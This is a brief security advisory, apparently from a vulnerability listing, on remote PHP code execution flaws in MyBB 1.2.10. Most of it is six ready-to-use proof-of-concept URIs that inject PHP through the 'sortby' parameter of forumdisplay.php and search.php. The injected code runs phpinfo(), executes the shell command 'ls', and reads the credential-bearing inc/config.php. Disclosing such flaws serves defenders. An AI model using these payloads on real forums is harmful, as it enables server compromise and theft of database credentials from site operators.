|
MyBB Multiple Remote PHP Code Execution Vulnerabilities
Attackers may exploit these issues through a browser. The following proof-of-concept URIs are available: http://www.example.com/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];phpinfo();exit;// http://www.example.com/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];system('ls');exit;// http://www.example.com/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];readfile('inc/config.php');exit;// http://www.example.com/mybb.1.2.10/search.php?action=results&sid=[valid sid here]&sortby='];phpinfo();exit;// http://www.example.com/mybb.1.2.10/search.php?action=results&sid=[valid sid here]&sortby='];system('ls');exit;// http://www.example.com/mybb.1.2.10/search.php?action=results&sid=[valid sid here]&sortby='];readfile('inc/config.php');exit;// |
|
|
Privacy Statement |
